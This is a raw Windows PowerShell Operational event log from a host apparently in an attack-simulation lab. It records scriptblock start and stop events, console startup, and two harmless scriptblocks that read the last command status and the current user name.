RecordNumber=2648491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648490
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648508
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648506
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648504
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648502
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648500
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648550
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648548
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648546
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648545
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648544
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648542
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648541
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648540
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648538
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648537
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648536
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648535
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648534
Keywords=None
Message=Completed invocation of ScriptBlock ID: db720a5e-6335-4d8b-8a09-5be2c356b9fc
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2e6b3ebf-2e7b-4f87-ab52-23b974f35043
Runspace ID: 858430ed-e47e-4156-a611-623f73bf5097
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648532
Keywords=None
Message=Started invocation of ScriptBlock ID: 2e6b3ebf-2e7b-4f87-ab52-23b974f35043
Runspace ID: 858430ed-e47e-4156-a611-623f73bf5097
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648531
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?

ScriptBlock ID: 2e6b3ebf-2e7b-4f87-ab52-23b974f35043
Path:
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648530
Keywords=None
Message=Completed invocation of ScriptBlock ID: ff68c32a-cf4c-4c63-aea0-b31f05bb3a4f
Runspace ID: 858430ed-e47e-4156-a611-623f73bf5097
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648529
Keywords=None
Message=Started invocation of ScriptBlock ID: ff68c32a-cf4c-4c63-aea0-b31f05bb3a4f
Runspace ID: 858430ed-e47e-4156-a611-623f73bf5097
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648528
Keywords=None
Message=Creating Scriptblock text (1 of 1):
[System.Environment]::UserName

ScriptBlock ID: ff68c32a-cf4c-4c63-aea0-b31f05bb3a4f
Path:
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=2648527
Keywords=None
Message=PowerShell console is ready for user input
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=2648526
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 6224 in AppDomain: DefaultAppDomain.
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=2648525
Keywords=None
Message=PowerShell console is starting up
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648524
Keywords=None
Message=Started invocation of ScriptBlock ID: db720a5e-6335-4d8b-8a09-5be2c356b9fc
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648522
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648520
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648519
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648518
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648516
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648514
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648512
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648510
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:21:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
